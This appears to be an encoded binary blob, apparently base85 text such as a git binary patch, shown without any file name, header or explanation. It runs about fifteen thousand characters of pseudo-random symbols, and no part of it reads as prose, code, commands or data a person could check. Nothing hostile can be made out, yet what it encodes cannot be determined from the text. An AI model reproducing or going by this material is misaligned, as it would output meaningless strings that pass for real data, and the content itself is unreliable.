zidvRPp`Howa-g3z756Sy%sHGor+{Z52uoZ^bJSt^vx7ChRuwK#jsdD^p5#oi48Ng7 z$0)z0XW!wPCZRm=UQunhP^b)v7@GMpb4asmh^vw;zTOfOK7M9J`*sOt$4n}uu^4?> z9bgaFjSp3HFSD?YQ?;>VlgCSCOu=3tuF^S3q!e-oT0yj)`0KrWxNT>#M=a1e^HrHQ zb*QFz6fKdoG<_6x_vhvjU&y!B}5ec2~sF2@zmfn^sh$`MP4Z=23{VeFJ3(E!x6oA`lE6y>b& zV+-bCK%xV@Z3Yp`4)q&ivFxR^f?tovp1}%J>lTICk+I0QrfiBAbK0e(F6jQZRfRSx zh>h!c!*U#;~^D66XSh!l-8y&%%Ia zney=O>!1*T;pW1?5Oi>xbHG2Q#hA3~q+P=hd?xo$msgC34=py1sU-AGdClQN#rRWX zjUAUcv>ccqHp}MYYXaRx!Wt-39v>VnW;U3Fl~EXjb;oK3JfeFhrDVU;Xv=}Qa&WTX zWpX**V*M5>F7?vf5d=;-rhYc`q9|bb$DKWT8@^OvN7Z( z2>msAQh3w6`i#&AFD-#+$R6`M3icz)ecwwf#qI*hEiD-YMNXQ9-+SYg**y&ps#8!U zQxD$@l9xn2z(;SOh1!#DJ|E>w1v1q7!sgIK+h{Z@@!%y`TYQjdH0*eoq=1@s53m;t z%My>RNN26u=XCg{8Fe`v>JymCoL#6)z8jOt-C|mT>xZhoB(_8ot`*C-xY%o@P?~56 z9B`KxD9WUP;TX`<;^$ek@L)=R3bq67J%p^rtSLy1#;~l_a{rLJpX0!{H--#@`g?x9 zACY^;_}1Mix1x#9e$Z0J(WM3|h%Lf5e8!aFq+RAj49*>8D+9>IeJmyDn4kXy)1(0X zp6-MSgg}K{+AK$VuHboiSpJRGJsmwW{R!UG)6}pW>x4H$K=w(weFfrt<)6lH`O1$_ zt2M!ySn5!ACMjUFw0L+yGSDccn<_I11vUt2O**1dlM2#I1B%*{?#Xsix=B@|>JCMl zZK8WRxHWS%`#7_mfW}kOG}X}ky~f#t3rmMrqS0_URL3>Rr{Z}-J%{3$>-tm>sN;|U zEB|P;UNXZ5n7Pur71PdJP`55U`&)IJLwX1hrm`g8kI=`aH{}`$6oR8M;Bc4S$Y@en zxhB1lGIO`D{^a<%DtR?7t+>Wy*l;Z;#M#lL?ZGEYen~&_{V`G&9!753AxAYqkZJol zltQip){1k^apRmhqm$2x>!9MuAsTzcu4$#p(tAM#&um0mz#c=)A(8NS=ovqd6cV5K z=MiG`oibg9b`!?(a*j=)>G${AEDn{7!l*J=<3M8p<+auvVk=WIvp^<08!-Xux`^P*wxI z$p-foPGafR<(XYS!aa{3B(bkctHkh`-R$O{-%c3WHHVBtVi4b&SH|!1&QL634z|FY z&6H4T6{>?CaF9b~TEzV%+U>JBrHJkGXM9j@Q7FblV@a z3%vz^=XiciaPB6$BFo)(L4<4orWK;WA1oV*iY(G32VqdLsyFiZf+cWHM;u)+5GCsP z%h)5sdS>ldouatosCn4v?IHSx{9{?SWmP&qumMj>+qfP8M&T6G(^oCn$H@=gr*Awf zA7QP>r9W#7>G0$cAAUuvqR60uAjI)T=L0VjZASCRskzS^gkBmgmFG{iyiVB_E+o)o z`C}#I>sK&xc9n5YbLm*O-^~>D3ML-`97B;s7u}FB)aw<5=fJDtm0o%b3X2Ffm|d|A z{1b5i%|~#Jv+B!G`6R$+_;MnZ(5qJxgIif@0{>I`_YDjJ`?jdJ>jNy+4%rxC8&!KV zGcU~LJlmQV0-&OU7x)jLb;xh&4tY!bJ5*XPjX*|dHj=KuF(?FY_T+p~wg8+A4fl@m z?bKedN9@dQw;mnq0a~TZq6CgMCc{=20jgQ&kDqS}YuZq9G#$QooJ_~I=)N1NGQzgn z#;0z69MMb#1)@2>R+@V!zKH96(Oo4Pf!miVZ3sLKaH0`A81=e9ox8mP4rStOpnY>on!qi+Uy zR6EWyf(!JXISL1dqdwD?4w45jsTU$1ruVw@1Xh*s^u!N`U-2F28#F|cPe`4cj$q59 z^IrvsleA#>x+gg4vt+MT)-4fMvzQ6w_EC+#iU=lP3P7&CmQ!p7An}x{gTHl%cWv@M z*rB{>zECUYZMse-%+^#arm#(o)sCpJz$ zNQ4#)f|KQ0fGrbd1V6vEjbNb^GG(T=awv2Y+O*A67tyf5zEH{>EAp!M6jXy&vndop zAX%t=4-PIywacTcWmoS|pFUp}5}e^rT6-w<_8S^KURo5<{hg?Bt&TjR(>Ab|dNoPo zLn5`G8^7Vn!|$@jjEIkbLqV1O*y{b8{g#)Rh{{K{TmnG!$rvDbjZ+#O;n@D_Wgga# zN0Hz4-JLVze9IDva=Fe~B&y|0DoopR|Cepwq)BIu$z3#Vx>A8cEF(@Wn1P+vV~xH? zrBh*R1$PR?sZn)BtZ{+7CEZT?g$t#m>mIv_g>(dlQnuHd3&PV6=IEe< z=biR`gJaG+{8IITR`**e&>vd?xhq-67+pU%M`Qi*iX4mrYo3Y-R0flhBV?pcrZuqfc4U&jDnD* zbY*PWs!;Ih4wCEuC?S(XlC0IM){cUruUmVZWq~XN1g;(0)I4nTfjc4{k2MJvRS|+* z=47Vx0g6U{%ifv`n&+e*IH8q*A(>avo7XX6O9NKnaDFM_v%TRkW@{4%NVQy)xt5w5 z=QLdOb4UUFW=I6hZWaXlMay&SQhUcD^$&U8tldJ(Z-gg;?E|~eTDrPot5J&cVi)SF zi-#w!c@7-EA1-!fFqIB@M+U>Be@y~WvLX-iwGWuc2U4{G^`S0FN$K|oNnf=?0j>A8 zE~X0~2(kOEO!OZ~gu1xA`B9gzft=`42ASkQ7dso2>cP3Dx`2FVEZ-$=6w)0(3Q~&E zV?bZDbfHAzJ|lXR`}}cg=Y4qHuzrL*34b={ss5sXf7lH_e0AP=r zyIjWUNaV5(7 zfH-EqRkMp{*Q0;_WZIa>+1>)e5!Egy)5r24tGY*!Hl%IWvnnK=i1{G&-DD@-`#yZ& z*_4YesD4F8dGaWf(+S&^^V;(^tY7 z6YgF-E89cI>@?N+O3{=88DC{D5(4G2*Am~CK>QqKzClG$7B{BSwZrPs=kK%N#eOMP zMVhDTT}iDjTm?B0z8zJA1~MIn)Qb0520lCd8SOaYH`Dd8K8s95V{0tuI1#T46~Eyu z7FaJlMgW<)+rLNGVjO(XE3yvO%A=SD`#s=cuEk#OVTZwrC|(1`0U9%^)%NPf5`&m| z2+X~bT1tdyqGt^|?C3hIesBUFS)yIninG(_sj0ViE%%UAS!^5~78OG(7sm1zo*Vex znc0jWjs5SD)2Xn5yy*=jMJ)@xcAWm!A0+-FIfQGb!dk-K=Cie#I9k(pzxJrHG*~4_ zffv{}ljRXP;BowQWN)MFkgc_>(a;meD)ga2aWEF5pclVFOHN4&aSq=WaGwYt3%K3) zEEo*Qvn9#+h(V*9z&-u=NHTO-@3%w--zV1a^g_s&rYn&t9uslMyX=AI2D}`A0NhRw z($~`N*NqpBLk1<%NW93|$kaK)`KU5v$VFXqg*h7I_@I?#o3g+WW7%+?a9GXmE@;-K z<1@dJLT;mPXg+46>_qT3yz4ysFjQ}nldt;+tv3CIh$S}TNCjR&2L5uDePY0> z+srojODU4+8}bv#o5uiSMaRXj$GjXe@zj_uYv;l^FVQlE+k4jJe%o4w^HKGsCzN#p zs_n@|()C%ywRHxKRm&=`b>z(%mgZISUZ?Wzmr_}PDbJO}vkO=v2EfW%!rk|tr}KznDrk05Ym>4j6R=~mJ# zra@IpC4anbw*6=ueK`BjHsl*lp0{oes&pEYpqfyeF*1uq;L@#19Q8WNKnlYPeBEr-|EA36fgT>BX0ISGP?F&fe9Ppht2x=9rihX{yWd99g$jO zgYezK@SnMYYi9T(w`boANdKL4i@5{EU}cl3%~c z1eqksYEa&Oabe3JNR(*6>en*S^GqbN>tpQvk1?u2-@Gd7jc4gMz!j=LlDc@%4|tr| z8MG3cbEn3^91pJjD<@hAiYPSoM({qP+8Q|uG>yh8QLthfOai~2G3ccF_n@_Rf6*#V z0!(qtlz~CD*z*?a^i1>CaKSRj>C0u)@YhEUwYJ8UMF#Lk^GSW%;!*M(ck%tp(lcy7 zIp74H7P}#=q4g2C3Caxe8C*A}e)oNYKttR}Rj72~+)%aNbQre4$G(2r9S+Dj0bz)+ z2M|H2O?)R0c9VF{V6quykJKf6)#xr+jBlDfe)#gzm$oV|rvj$D&6gA%un6sBy+B@C zgtp6<=H;2L#_a1v+kH)r5>=K=4lSL@Jk!VKz?oy#j$O&FkDTRoW+I3CKVOE6g2 z*W^C;F=*Xqs@sh<#83~UI*w3jzhWzX*3%g{3UiB_1e*~Nk(Tq`|1LvApn!7rb8tPb ztVIWNPur1g5mH_+7k$o3LsDT}4GN2FV4okuCw7MLRXP-2vW@y05gh5HHHR6GSRxB) zHCOW@3D3;)+^>g0btRxjcr74eE@AUjhJ_v2Q^aXc7MEqg8!kI;dvJvca$@4d zb;@~Ml!7!CpH9_cBz`sbW80sL)XP)ViA+DgZbgOCV8PU=IwcEb>jEDsQPe*e-=9@o z{Z*6hfY21Qv?^2*cUbxRw*OoS56N}+fnB97O_Qfp!diBRRHT~iIiDaX_{i>iL1y_E ztop6qQ8*#VMq~88;jytrq>3M?I1G769241+)#YKHo!T~gp_;}fDZTK>)262@>CsgJ zUpUDdw4HB2Br}i)gM)phY?f!x1UAJdGabozZSPpGXH zm9{xD1P;Ed3ADm+=@n6Vf3J`R+aFVd$3!c^koPi7+l}{|yTgoKzefjAs)`){Qt&QS zqMhMwO2vulkhPG#>A%hvI%W>7tvZ^E$JImUjY*?7wzIw1b17d;uNh67n$8uG(=ZrRx%Q zQYURQEfS!>gc`=goy0!M}c)*yoWW^Rau-gD|#X{$mYC0RX!JX~E#Gy=1L zZXxe4%kIu9b5O;_S97^1MH-=PMG*Pqp6$%bQ{SfQy{R-bnoH(FMUFHw6T&#?_q}#3 z$V5hK3W#*MF!>^hPjWG<+p2IQvf~`Pj4fI7dw??X2Zkw#4K~|qzGon`7N^T7Fk}UR zPmpmtA$5!t4^T>bEiDxmqA?tYlZn3#wEd88iWwoP`{mbOw>EZeYmaPR(qLbi0t%LC z9cZYU9>)D5O*~8X^P)(elgQ5a0ut()@u`w|IFHvXmR|s?g^3%AF1b`f%9$q0A|+#I z5?)m6y1iT!h<4H4Wj(ZkIPS4=%!jCCt%j9qQe*uTl)zL||d9fi8w8|La&@ zI(J&zewLTuUg#OWswY5dE@>GkwIt-e>a65M*8G5|zLWXBcyImZ$D0CYVSV1rGl>Qx zEn|t9ag~WICf8~m0*kS)4*k5u+whIeZwq}r)Pg+lAInSN<+h%NIYI2YLCzQjGO}c9 z4%h1x+F~3nXRk=WSOIs36TK(j1iY%l_3!t^$%15;)@~+=tz@ANF)w7hQxm0CB!>gq zE{i%nj|ojXSJ8+%`ffM${C)&tsMk)gH|QsDf)NIBYtT#32gRY|S=)h38a zvj&7Aaz|jD)M_5r^BKo)*jt>Te(U8V=9OiPBuZ{j^>&7-vN3%iErx8Cex>eIuTT=7 zL6b!zrJ0+w+hu<%ccywW+CoEqCHH&}Ck*1v&5$oY`&s%7Y6-Wp;;(B{jK8-G zuT)mrFxt!iRX+fYyX6XX{l?KXza>{w#%q1v>`^5>yIH`Wiu+qM>kN}LNl>rWbIWDD z;9Hf13G1{%VS(Bk?9D-T6zs$c&N)_X^2)hbg+|e2oW_W5%$Ome+5ESbRod$dYzAuv zWx#c7(~n!OK-b9S8gY?0$I1BUq^Wdjt^@f%LfM@M*OgtQeX@1mmd?WBYw>c4+{W`> zT8@QHj6>N;5_kn>WYuX*trG-;#qTnjUWCg7;ts_wBGfB#jMm>EXNflGVlTR}qRG=H z-(ymrjYGVYe@2LX$>aMnZ7NoSV3d*PjLffk=y&Hzs~DQO$cyRZ-VJ{n3NII79*eE5 zt7EY<*~L_mnxr{rVzDq2jDisKtU~kw=ReLWO^3Xf&3}uD^&C0YF)@!@FPN4G7J~`N zLL`lZhTEtKS`FxuT6^OjOOYjB*66q4FvE> z3L}foLmO9VWVzwk77d&lABjO7vD9c)-6+&g%Rp{+O%!Wag)=FJ;AzEqV0vn}^B`Y2|2UmX1idMaFL;IoW!A8$p>-F_0Z)L6ptd)218nL+P zJK~r87Z~vuQ|5RHkkp=@*q%(1eZmhugZTqJeu*ltaC}twOGAyqhjno@9}Qpf z_Nw#Uj}lfbQ6YpUo}TJAu^O2-5%Bzgvlr(ZWMF=r7@Rlln8Y>5FUw|~i;1DXke~EX zK?x6VIsJg)B!FUz(1PR10foiF7t1`(7}`Uj)hCbJTl|Q>_SOm%5H`T~@w_?FNSS~8 zxS6q5UgL~_;zc`h@xsNT^U zrQacEs@26%pXi)OgnsY1&SkREE1H;IuhiG$*FP^?SrpxV7FP573~1dW|2CBFWO^5` zefIiP@KSESBD^3gq!Pf->n?(ji>r3Q=J)|xdCJJImLL)m#nrR9DYxSGpzK9xW8@PS z(J?+`SP7>-zckMsbRC^tYAwMm>&-4NF`eYl-m;F|pU!1FTJKu|hcFjk`595ua1NDH z_qvV81EJ3x`=nJ)1yU9Wig>-a6Tg}a0a9aAJKSNJG0$CMscSM6xJK`!ZmFUTv9+HK zD<^fc@bG=@B(?Q{OzKK*a4QM9xJWx2F^+1dIr-d7g3FP}v(BH-CMPj`O0jT0&s@Fv z1UM*IJ%izOU=#sU5BaC!S8Co0wN6y|b}kcK%2_vqD87o1Y##%JTuk4#P|QfKNw2Xz z7B-sV9*q_o3SbYvhB?0VGy{ltgYL7$yxccD%=Avi*3CJN~<(3O_9-7V4_npWB!?I!dIMIf@eF05kXph#hA zve!Y8?80Z;P?GaxzG1~@WLe?e-gid!pO;DM5#9eq(Fl5-6b#n=Tmih(L~y_en?epd z;@pMT?}0FYSM#1J1B$g^+p6hMnB}_u3~t|c!_GtCDH3+_zTmv?M*@~#ufOMnsc$;C zO7zrTXMzv05yES&tutnPbZ7Y53ijjwGz63 z+{~Dr%B&~=r&6jB5PddJpS$L}GVhiz9ZQ_&U6N`>Xdru#RB+w9QgJLHI!wdufpo$J$fISrse)4SL<;^Y+Ue__(=8zVzrW9OY zi{c1B3{3mh_(aq+4rZDR#u4v8=BSX`$2C!#G?6ck4I^1lIZ2CWq)u!?*&};oJdy+5 z7Xr80i()d;fd}GCm4tWbst}f~wVCpnUg7rO(GP~lsG8#SQrKNO_lsLf5BZ(i3LM>pGaPQX(nD6ll>@F)k! z(v`exZ=|xgzQ^A9iq%0`-KKz$$FW^nlK5UDT1<@%u?%=+3(Cvn=V89I4Ty*|D4H=B z`e3r;9OlaSETwOotz=xr`kV@+5tf;O^V!N%rODWK4AiBP}l2Ai|^j=c3Q-pec<&v&R zze@9vf?9E<$d`z|`r4Ql=Z!VYAjW_D~^|*rze_R_v-c^b0Lt* ze6%gSVyq82FdqG;*JTaqo?dW{u5l3N$wxs>BG;pChG9k9q-EHh!ycMUk!6bW=$0iq z_);Dvk=!#*Im=5kGe}C&u!93cL{X`Qa3j^858uCfm{&wG?{t_Jrp>hA+K8a)m(dUu za6G@)=Qf4-aPT6BlmWL79uMxSWgUZp+DY)ccs|`kY*RDj3BLALsDbSzP%CeC`Lbvz z07j_A8iD{ei1M0lMC|H&J;|OxLH+J-O@edBwV11bhZw9h+JNBEbR~;(0IXcY8<&j> zI1ZU~3TY>09)xich(l@Hz}yCiL0aAGDkMaPiC0j9iVeRo55v~lv!F9FU*c~z9go!BB-=vPCp&*C<9>%n zp^)Jgsuo!VX;fIg>Vq9Ojd z=C=L_jGXurpb~}>Staaho~7>qI8ztKzQQSNV^hxf2QRn6ci5%tOz$S8@)n&E?VmJT z?j-8A{59O_spj0IAJq*t1~;aOW!YB+u%HTK#lFer^lm@qQE80Cxf+C*g~HHE3tum? zJ-W{Ou&+7}pw^AoBC5OQZ;5h8m=#G}KNz)x&f3355!8mIJp@l8)wU53$SSU-9NL&$MmhHWT(ARL{}p@qC&Aj^v3P%B5C5Q7fdI%m>N&XD z7~%o`$fSb+2w8oi+DxsC@#q=~tV4`b>$H4fBiqrku1sy#z1VGu;z`^7b zEBzS?q|LEn9GU`wAzrXsG*0uZ;|KGf& zy@js53Bb+J&Kh8CWe9L^wgxzu*cloEj6OFYfRU+_A;8|$1z>OJ^x5Xm8w0R1{j8{O zZDDQonQdwMSIWZB-X36R>!@o1F#d!me&QAZx()z706#zgAP5iw2m?d_q5v^~I6x90 z1&{{F0Db`E0P+9@fFeK%pbSs}=-KJ&n;Sa(DY@Qf@-NB$miyN%9IXsK=c{jRXZY8I z|E#ME&;#fL3;>@Z1B?MC08@Y&z#L!!umo5EtN}IvJAggF0pJL50yqO)0ImSHKSwhB zYn;z9KkvgIw@uex-_+E>)WX1!{I9R-6Mbp;xpe-D)%!0?=g-CW$0AZ^`dnB4-JABm zE&cCW{_o2E?|S^twf}SO-$(od#QXR3AD{nz^{*xWx9R_RPyei`3GsJ@{d0TxyTbmp zqx^mEfB*=Z8W|aWuKGWS6x2UO2GCepI~W)meQqKDpQ;faBmF4ow%{l^EFp1yidPSIupP((E%IY}lvWwQW6POoe;CPh6W zDLp2C_1Rc-{98&)T2d}tT4q|Znp|<=R#IFp9LS7p8C<+tnwmmFO3t96Nl|ocvPMpH zd`d?0U_Pu}w6T_2hcBBTYku7q62$~H1t^Dj-|tf~DGJg*TYJPDofS3=2NOmPJMusRx<^?@H-QQ3AQcw0pAWsROx-%FODcPt1 z;w2IfpGFeE%C@hpaQYQ`hKc@Lim8Eav5u9QN>~nUb6pV`Qzb|m>rWt{-9p2!e$-6$ z1Wd`N2la0TrwL`pt1C(i%`_cVp^9PCd$q&$L_c0AM2|X9x0g->fG}wACzmhD=&{0SR_$z@!jfJ6SIg3-9u}m`215D1GC(Lh zCDm|Z<|w3InTVy`sv99)tkztkt`ckg*$kC7YqB6PTSrYa4;vYssZGi(Mh zGxt>-xoNa?Z5s7-`@8G$khImIY{a%7k2)-auc-rPtaOUqm@JraUlN?dA0bSiaQE81 zQ%D^M85+v`zGy}{Q$kF~@sel}oldIGb-{1^J%0MN)%pVRES-+yy`uCw>gzgE2R1iz z5W)zTmo`rgsk33}^EL8<@nnMpu9F+pwOE{K!RE}z)7XUnd-m#u__`Ld7enRtOEx!i zVhXEpFE!8zcS2%BMZ4Dn=Oe{!LvX_ypmA1$AdH%MBcqBW$b9is$X=`9z%g{*N%Fk$ zBc8}&p?Sgfc;Z)EW=d&jn4^ps0=78Om|s#3M4UuWazgXDQwep_f& zt4+LZb$^c<-uygG)xtE`^Q@;kcl;Q~?bz-LPb)xnwUh6%4gHvgOhX)~?cg9YGvo2` zw)*wHqDVy?EP`At=2i} zqsd!oXCNSALmS5UIN38*nbCIJ_Y%c=zOvz5ZL#;}C(BAfFYRefvy4utp0~+h>nhKz ziax)#(olj`TgUBIPN$jFq>S@hO5F4^B1M%ly`eMj*h%IsDGsWEb9?7ttAvCCgUa@N zVac(zdL&o6oL!MBq1|!r7U!N1jJBectiwYZdb2SBc8Cv!&FD9?f&3n(6!1;bJIzgFWia*J7b^LvqWw-OJA4iz*G=8(||PV47J?VU~Z4Bq2{Oqm7` z_~1?M?UZBW%(zOcK@0iJ4o%;EjMr?Aw^64z`m?r5q}RiO&M}7C=AJkdhfUe**vs~N zgV1nZiNlnsi}2Flr?IJHuwrFaspqxAdotU1#{Hzl^I>v24ytirsso_9j`-7ITC^ zUM*Y8d3(Jn6(niiL8Yu9YNKQ8v}v6gwbYHI*wK?M<(5fMsdBqnADlk9K`)uW#g%EU zyx*Qr!FI|KzD#iJ%v@Yj@9UQP-A(B(!F#v*D7|pd$|~16UhjT?b@Yac+{(I%F|K8Q zv(Roi_{x8H@S&{Tp2vs(K5};~Rw?1kn&|nyi4hYwG!{ohgv|bKG$}I}>d{>*Qh1qZ zft*c6R5Sg&)p>EGYU-;C%k8hKoTi3^4`L?vKJhrtp{R_3z{TN7w7q z3iub_i}7#G|K@vrGIvwcGtvG*!ov1xDbf9B?~Cu>ynsK=2f2SWC_ZUB|0MZ>P-kOi z#rqdK^{EMu^y8nZm*S_$FjbIMw_uKtor2D;5U6d^PWT>rDIN%i& zUR#~%#;PM2R)VYO5d>O6BtlRnoP}E=(5{3oG=i<%pQDL`T?kUpK-y5g`Cma2NTa`~ zQ+?;V1?=#`VS(yj(+c*;7JuOfv4evSgF_O@SnT5qklVV#2}G)aEp|Z*n+^V|1W8}+ zBTPgj)DQl}H-Oddr@}1sg2}V>kebGtIz9^M74hvpYTAo@27s>*+?zHJA(vb7)ZUJ(SS%lR2#Ga z6w2wR#w@?KRSvu^j=6`ZX&NHnXE2IG;vpU0=OL}&VqE3IkA4uAx(qZTP?TDe}3iZsRCd2jUHCt@a z7RLT>_+y~O!tKAG*7&7*-+SCBhbceeTUQ@eUm7|CT*(t@1uC<>vB}=g7tN(qztw?R zM{&vI(A?szG$?CZ(A+YXapxd!C|#awHWYi+*I7@kCvEAOoYYxSb65m}>P42SxBOzu zrBjZDI-0c}pQu6$SiejQyex65n~zYW9g|an@@~L?U^R_5jyrnNbIsLuROsOvJb|=i z;aN@ty^cL=IPA|TzANRV5_9RFWZT)De0viQ7EPsQMUQ*e_6LwPQ zjIA68Pa}^Y(9Nz$OjVPG!e)PDrps`0RVP{}m%MXtln|OazUc$Nba>oPZJe19MdmY1 zu?+Q%w!sw19n6rvdLXgCXx%qH7EQ;LybZEs5{z|ER-`Q`tFQ*8)jOE>WLkSM?>DSR z76A5$<@&N4k|jV3LZ&|1TPOBQzp2p7t=;x*F zMt)?jIz#!cd6&cod{?(K>t~io;95v=%cVz8>4HIiuyAZr@xZe4R6uBQuQ6C@?lf16 zFRzg-8DD?f(0iK z+}+(hSa5fDcXxMpw~vfw=FBgtlU`l@U1eeYXUg_ce}CwoIpv-xv~ z%z`+h6-Lg=p4g|nLgDzL*zL-%`uKoq_M80ECjIra?r`+bOe{gy6~=)1m@;ay#(Lv; z_5KR8yRP$hX4BS^x91DZ&w4iQvJ379dD(Tw6H}uDq_+>aqYeGzLC-0&W%!w;+jnRW zXjQ8!x@pet){RJc?f}G`&L5w>=t6QRC*!e9R1%JtdO45H7F9dMDmf5n$T+{-KNiV; zQo0z=2Uu7?ngOqsYXsY2Z*DM@ssG}>Gi>0ND2Bz~8&>`jvnev2WM$)iI~J`M_n2Fw z1~M;pRyHXs>pnf4>JbDc%iyyx&so5cRnW4^VbW}!^TPa$S7OneRk)oLTJ0!LCF=#;GJckGAJv#yL(3twrX-~7?5y(K z7|mcygw@O}Z4#U8pahaeN=9%d5eC5$ zP#4~^WPiwY>5@C~0^hCf75y%qi~yn2MT#c&tXy@e6@a{}nC(9(>PJVDzfa=%e^S)1 zmig_A_IHEL%=R-yy$R$$DC$?M_!C8`i^#}`sJ&5?v^f3SSNo4`{e)5UY=6h7Uq}8g zjCz}7?!RHw-!}L&M^V$iwK{wwir+l;+vomo9{X)d_Fq|w?yVs=D>L0cv(#^@`4>g} zn;ia`u6`w)ztYujM;}Uqf%V5UhOB=){zO_obJ4#hEoQdg%r^n^pTdiUj`qigdy4@4 zPGAHq48MEqpOo9rN{OEJ=PTq_`1((!^rrp)k;_=#8W;X+E^}6uGR9D$jOQ12T=;sf zn-%;$F)0znFOeomiGf&ti^=A@Oe(t(hYbm%f<+{0e_iy#0C54TKmy^rXpN|<%#7?R z_P_tjHp^Bzzz_KPlu_eY_6*+kJJU%~NSp2o;M z#Er(x%(x&h2oZ5EeZ=N)>6VugJaPkoMqt{u>Kd(_Eir!0pvuy_;fPersGzpsGlQ#$nA02%WNLdupkx;Ky zR09y1D3T`#>1WsUeqCVFkJ>>u&&YQ!nu%+DcEDjHW$wCBNrb0ouv1ON-aKptGe`iTieHQd|L@ztEZ>q%FdakRD{AJGfJ+ z9WVDQdVGkfcu&rTa(ss=pQ8?_y?0?QQ^R^hc~lG8(#Plp3&c@&RrpWpI}}^K`+>p| zC&+sx-*&RI%T@X#VR!Ir^T@_ zH-{bR2G`)d2Xx=k5Udr-9U1h;>M1IMVw;Sj`GR(3(V}R(roQ5b!&CklQ9D9^-gcVf zBGFsi&OwWtvH40Tl6vd3?qi(sDHdet%l_9BqvLV-q!R;sQKO38yX+-=MsefmD(&dI z0<1YEDT%`~NLaCO*FLh+ZBo;smHD{3IMUrYSn}eMcw`k0?oBEhoW|ay8hTR&9`;cY zNxSLBREmN*wPktl*#eR>PLZK1cQ@6Fq|X=X?(K7!4FT>UB?(7vNek$@~jVxZVqLPbl-!y5UYVJEoqP``Yau zLrZMJ8p_x1P|#|b@w&A4W>|6NlFc_=lhoE{+nQ`<32HXT`Vf%lSDc@hXd33<7b~Z& zHVoV@`u3bt0n1zxME6E3ac6O!I)}m{`PACCSUW!rMOz%yv`NaLzYB5a)$%a>Ec%S4 zW+Tz+n!H?wv&ekmDf-o(+3_8q8anvy0}Zg1PPk0rl_j~o{A*o?)U1xmwoWX;5?;3a z(}bkvq z$cH4>qe0ZM8AA0*sE;DeEffaAV3Mzzn}Tr99^eg3HV%Q$H(va`AUBM~d+_z;#q_hs z8cec{(x*h|&GG1g} za=u(@?yg^;o7`^ZvEuuvQp2gSXwtd3Jfx(Zm|C28J!9s&w6btU3hf;J{$(u+tNAsP zZ&bIeX3V12Eooyv*v}x``=GRRPMuY(ML{%Z;JkTaaGs@7W&cV*=3{heo>Nn#ZS94^ zW+O(c)KqkM{T;hCyuSu#?m30pQ1|R%?>*gy>Ljj0P9+bBF}!hXKPGC3d)?<(-GNxpx@>W{u6-yyGHu0=gXfONkmDNU*ZP< z38=nN)8F}r^;fp~QzOy;GV*`%&;QU!f8E~C`13~upZ-V8{}1%}yGCOFT_e5CJN{qM z=Pw%RS7i7r==?TG^P5I`>(2KR-2CU!{}wR4_v(f0it-ij*AcHqaa_Hf~(C)cX{k$V^qN7M$pdnM}qq z4jM^aYds&PVJ9pGL97*a6^xWI=}Xg-QDf@Nn#%utb2^p2`(*286JDD5dznkMF7+9L99vicJS8(c=P)MTE+l+Vyq&R z`RcZrZiAqo0o4v&P&tiYl&0}Cs>U>CH!&lTz{!%l4$Xf>Qt0pP&)x=$w{<7B`BX7`{R z0AcTomvgt0PQ`_CpYBD>>O|;7gY@Qa^Z0BgM#rE=$)^d`1)PY7&;tRk`ZWQ%WQX79 zJ_jMvwUFTqFpY<&h2|lhv{C)~n;^taXE+F8hxXZY!kr40bs+G$2Z2|gK_db<5% z>s}4I?l&n2NMJFN?*OTt8JAx&S>Fdqd87vb_|Wm=0bB@0o%=xq1%?3-8X*Co4YU^z z#flLC-pRqG0(KBUYvj91V7p3`!der*UQ-_*$*stOy=TzTv7j3?y#B#Y%1_Eb~L_0 zaA$07YSvW`Em%`2wOmZ9CT~98V=e`27WGPHID-ut1?8)!6~j(%zgOL00pKZ=<~?#G zCt7swRtXdA2&7ck@@e>L{s?T*9(h_b{fC2$&9%#mWO>-~l5Yt;B^@Y=)&MyGH`0&y znKhAq@h)yk*NB@{<*N5f(NTKO{oq6s*&0{)t-_0MG9_LzeHd|K1@B2v212l7X6tIa zBznfj>ad_CML70(%2NG&b$R}BZS!k4(O@?KIqasWOzOpkajffs_+^$vDCCkamp1sp z^J&4zc|(N3REY8?J~ax`tB(axDN#|U!$ps^l>ee-AWaO+< zGi%vBqWDzMrg^i6;fmgFsAl>XI4(QUIO$mau*IWFRFnAbWlhdUb~gKw5Tj?0{7}}S ziw)9b=1WiQyI#~m`&cYAI~CM4%F8#Y_{E^aD!l5g>q&lj?Dnr8lZ%6P&A$y%52do) zPn*x%vn{&@J-NzrG`Y-)VB&jjb+?Si95`?sw(T)RNl85!#IJI6uT(yC1UembeSl+k z<4_4tMPZX?GQEz-Ci zv@=M@Olh7YqWVo}B8 zAf?KZ?Jq&_A&pn2b^+r0u-oBQr4R?7eKi`P?9266ZXjn4Q#=oiv@yI#1(DOr2{j6< zj-XN*N$)roAlq>bxm9f9h~MW<^rCLTC2r8h!s}G4!z$lW$;6oPn_1EedIM8<7Xlkz z<;Y^&;srR_O_V1|Kfg>lIHU}PQ*TM?XtE|ID-CyM zIby-V_5LssV?CA5&HgTs@u*C@cdS#vpb?wx-9>(F{Wug)=ywxnVl``u zkK4Qn$6tJ$ay9buwwtRo9lo(KuYE_!86osCMbNwcwp24@|V9qmTXim1S~NbQ#jFbnYEgErTR1T1s)8bN006?c|iZ zg`(eCmCLJNlJSMh=S5ABwWw;N4l74-`|p|5=| z_M@Cr*@3pjT<08Ly8Mcn-Upf!3sVs^z(;K$(-c%(raOpM;Ul9=@8P4r0;*OSPdBhAOW-inm!TMJ+Xmh++&8aNt@A!vy^`Lg6X>)Nq=wCz1)LEF!W^{%JZ=X|6AF;5V&Zz4k${}qDtpY*2JlH&TN9;9#2*9EZ&4!5N zRlN}J;LAX^0s2PZfR@g5bh<$zsC&US=!!r0c!&lNiBqu&0ZBO;W)ZTi1<4^Hx3O9I z6Tiy~xIkzVXd?x|pa|3lD3OC`5>fF1q-BC3CX(~v_a^Yr0fLSzvg4i70PneHH{74HmB!v8Qi>M=&_FypC>fS^4u)Pe%$J zd60t+5q5If0U$9!8w0mL{u1Ly|ksWO*WZ$a++D2P`g5M40RKKWQzir0Y4qvm_-=@Ez_S2yfMjw4xbIJHN#ac59bx1(;4sN&c{q z*%>&xu)~e0&2*}Q1#2s$B*nIQ1M~?$>y|hly@n~gDQv#!c_fQvSgI>ega2}r+&((% zFwOp`*m?C(3Ws#T+VtuP4o3QQPNdXntgPPEBu>jZtWn*j-J|pp)3Mc9m)WJ2`_j*> z?@`e8pwu${D!zH{2&z_#x5iM<$oR(U29k2Pp}w-AY6tzela?}Av><1Mk`cX{a&MMH zwXx(#nQ@=)OH%{TIGHm2Y}FU@{(W{;M1@pl#B5g7T{ z4tBs3>daCAP5O{PRos<3<%FSve%E1LZ4`czZSv$pw|Na4HtkzuI(RLc2#52Pe7<^4 